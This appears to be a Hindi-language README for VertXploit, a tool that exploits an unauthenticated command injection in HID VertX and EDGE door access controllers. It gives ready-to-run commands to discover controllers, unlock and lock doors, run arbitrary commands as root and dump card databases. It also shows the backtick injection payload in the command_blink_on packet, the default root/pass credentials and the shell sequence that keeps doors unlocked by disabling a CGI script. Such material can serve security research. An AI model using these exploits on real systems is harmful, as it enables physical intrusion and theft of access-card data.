
HID VertX और EDGE एक्सेस नियंत्रण प्रणालियों का शोषण
HID VertX और EDGE एक्सेस कंट्रोल सिस्टम का शोषण
VertXploit एक उपकरण है जिसका उपयोग HID VertX और EDGE एक्सेस कंट्रोल सिस्टम का शोषण करने के लिए किया जा सकता है।
discoveryd सेवा में एक भेद्यता मौजूद है, जो सिस्टम कॉल निष्पादित करने से पहले उपयोगकर्ता डेटा को सैनिटाइज़ करने में विफल रहती है। यह HID VertX और EDGE एक्सेस कंट्रोल सिस्टम पर प्रमाणीकरण की आवश्यकता के बिना मनमाना कोड निष्पादन की अनुमति देता है। अधिक जानकारी के लिए Command Injection अनुभाग देखें।
VertXploit एक्सेस कंट्रोल सिस्टम से जुड़े दरवाजों को अनलॉक या लॉक कर सकता है, सभी प्रोविज़न किए गए/कैश्ड एक्सेस कंट्रोल कार्ड वाले डेटाबेस डाउनलोड कर सकता है, और यदि सिस्टम संवेदनशील है तो VertX सिस्टम पर root के रूप में मनमाना कमांड निष्पादित कर सकता है।
यदि VertX कंट्रोलर के फर्मवेयर को हाल ही में अपडेट किया गया है, तो vertXploit डिफ़ॉल्ट या उपयोगकर्ता द्वारा प्रदान किए गए उपयोगकर्ता नाम और पासवर्ड का उपयोग करके वेब कंसोल के माध्यम से दरवाजों को अनलॉक या लॉक करने का प्रयास करेगा।
आवश्यक पायथन मॉड्यूल स्थापित करने के लिए pip install -r requirements.txt चलाएँ।
सहायता मेनू दिखाने के लिए ./vertXploit.py -h चलाएँ, या किसी विशिष्ट एक्शन के लिए सहायता दिखाने हेतु ./vertXploit.py ACTION -h चलाएँ।
स्थानीय ब्रॉडकास्ट नेटवर्क पर सभी HID एक्सेस कंट्रोल सिस्टम खोजने के लिए केवल discover एक्शन तर्क के साथ vertXploit चलाएँ। यदि वैकल्पिक --ip IP तर्क के साथ एक IP पता प्रदान किया जाता है, तो vertXploit पोर्ट 4050 खुला रखने वाले सिस्टम के लिए उस /24 नेटवर्क रेंज को स्कैन करने हेतु python-nmap का उपयोग करेगा। इसके बाद VertXploit पहचाने गए IP पते पर एक डिस्कवरी UDP पैकेट भेजेगा ताकि यह निर्धारित किया जा सके कि वह सिस्टम HID एक्सेस कंट्रोल पैनल है या नहीं।
उदाहरण:
./vertXploit.py discover
./vertXploit.py discover --ip 10.1.10.5
एक बार कंट्रोलर खोज लिए जाने पर, एक्सेस कंट्रोल पैनल के बारे में विस्तृत जानकारी प्राप्त करने के लिए fingerprint एक्शन तर्क और एक्सेस कंट्रोलर के IP पते के साथ vertXploit चलाएँ।
उदाहरण:
./vertXploit.py fingerprint 10.1.10.5
एक्सेस कंट्रोल पैनल से जुड़े दरवाजों को अनलॉक या लॉक करने के लिए, unlock या lock एक्शन तर्क और कंट्रोलर के IP पते के साथ vertXploit चलाएँ। यदि कंट्रोलर कमांड इंजेक्शन एक्सप्लॉइट के प्रति संवेदनशील नहीं है, तो vertXploit वेब कंसोल के माध्यम से दरवाजों को अनलॉक या लॉक करने का प्रयास करेगा। यह विधि डिफ़ॉल्ट उपयोगकर्ता नाम 'root' और डिफ़ॉल्ट पासवर्ड 'pass' का उपयोग करती है, या आप --username USERNAME और --password PASSWORD तर्कों के साथ अपना स्वयं का उपयोगकर्ता नाम और पासवर्ड प्रदान कर सकते हैं।
उदाहरण:
./vertXploit.py unlock 10.1.10.5
./vertXploit.py unlock 10.1.10.5 --username test --password test
raw एक्शन तर्क और कंट्रोलर के IP पते का उपयोग करके एक्सेस कंट्रोल सिस्टम पर मनमाने Linux कमांड निष्पादित किए जा सकते हैं। यदि कमांड कंट्रोलर पर स्थापित नहीं है (Python, Perl, Ruby, आदि), तो वह निष्पादित होने में विफल हो सकता है। एक सरल प्रूफ ऑफ कॉन्सेप्ट के रूप में, मूल Linux 'ping' कमांड परीक्षण किए गए सभी VertX और EDGE मॉडलों पर काम करता प्रतीत होता है।
उदाहरण:
./vertXploit.py raw 10.1.10.5 'ping -c 5 10.1.10.39'
कंट्रोलर के कार्ड डेटाबेस डाउनलोड करने के लिए, download एक्शन तर्क और कंट्रोलर के IP पते के साथ vertXploit चलाएँ। कंट्रोलर कमांड इंजेक्शन भेद्यता के प्रति अवश्य संवेदनशील होना चाहिए और दो कार्ड डेटाबेस डाउनलोड करने के लिए आपको कंट्रोलर के वेब इंटरफ़ेस तक पहुँचने में अवश्य सक्षम होना चाहिए। वेब प्रमाणीकरण के लिए डिफ़ॉल्ट उपयोगकर्ता नाम 'root' और डिफ़ॉल्ट पासवर्ड 'pass' का उपयोग किया जाता है, या आप --username USERNAME और --password PASSWORD तर्कों के साथ अपना स्वयं का उपयोगकर्ता नाम और पासवर्ड प्रदान कर सकते हैं।
उदाहरण:
./vertXploit.py download 10.1.10.5
./vertXploit.py download 10.1.10.5 --username test --password test
कंट्रोलर से 'IdentDB' और 'AccessDB' डेटाबेस डाउनलोड करने के बाद, डेटाबेस की सामग्री डंप करने के लिए dump एक्शन तर्क का उपयोग करें। वैकल्पिक रूप से, आप --path PATH तर्क के साथ डेटाबेस का स्थानीय फ़ाइल पथ निर्दिष्ट कर सकते हैं।
उदाहरण:
./vertXploit.py dump
./vertXploit.py dump --path /root/VertX/DBs/
आमतौर पर कई VertX या EDGE एक्सेस कंट्रोलर एक साथ स्थापित और रखे जाते हैं। नैदानिक कमांड command_blink_on किसी विशिष्ट कंट्रोलर को भेजा जा सकता है, जिससे दृश्य पहचान के लिए पैनल की भौतिक "Comm" LED बार-बार चमकती है। यह कमांड आमतौर पर LED के कितनी बार चमकने की संख्या के साथ समाप्त होता है, निम्नलिखित मामले में, 30 बार।
command_blink_on;044;00:11:22:33:44:55;30;
ब्लिंक की संख्या को बैकटिक्स में लिपटे Linux कमांड से बदलने पर, कमांड एक्सेस कंट्रोलर पर root के रूप में निष्पादित किया जाएगा।
command_blink_on;044;00:11:22:33:44:55;`ping -c 5 10.1.10.39`;
एक्सेस कंट्रोल सिस्टम से जुड़े दरवाजों को दूरस्थ रूप से अनलॉक और लॉक करने के लिए, कमांड /tmp/a में echo की जाती हैं। ऐसा इसलिए किया जाता है क्योंकि कंट्रोलर को भेजे जा सकने वाले वर्णों की लंबाई सीमा 41 है, जिसमें दो बैकटिक्स की गिनती नहीं की जाती। नोट: printf के बजाय echo का उपयोग किया जाता है क्योंकि कुछ पुराने VertX कंट्रोलर BusyBox < 1.0.1 चला रहे हैं, जिसमें printf शामिल नहीं है।
फिर कमांड को फ़ाइल में echo करने से आने वाली नई लाइनें tr -d '\n' < /tmp/a > /tmp/b चलाकर हटा दी जाती हैं और जानबूझकर नई लाइनें tr '!' '\n' < /tmp/b > /tmp/a चलाकर डाली जाती हैं।
इसके बाद स्क्रिप्ट /tmp/a निष्पादित की जाती है और दोनों फ़ाइलें हटा दी जाती हैं। नीचे दिखाया गया है कि जब अनलॉक और लॉक कमांड VertX कंट्रोलर को भेजे जाते हैं तो /tmp/a में कौन से कमांड echo की जाती हैं।
# Set QUERY_STRING to the door unlock value
export QUERY_STRING="?ID=0&BoardType=VXXX&Description=Strike&Relay=1&Action=1"
# Run 'diagnostics_execute.cgi' script
/mnt/apps/web/cgi-bin/diagnostics_execute.cgi
# Remove executable permissions to prevent the door from locking
chmod -x /mnt/apps/web/cgi-bin/diagnostics_execute.cgi
# Enable executable permissions
chmod +x /mnt/apps/web/cgi-bin/diagnostics_execute.cgi
# Set QUERY_STRING to the door lock value
export QUERY_STRING="?ID=0&BoardType=VXXX&Description=Strike&Relay=1&Action=0"
# Run 'diagnostics_execute.cgi' script
/mnt/apps/web/cgi-bin/diagnostics_execute.cgi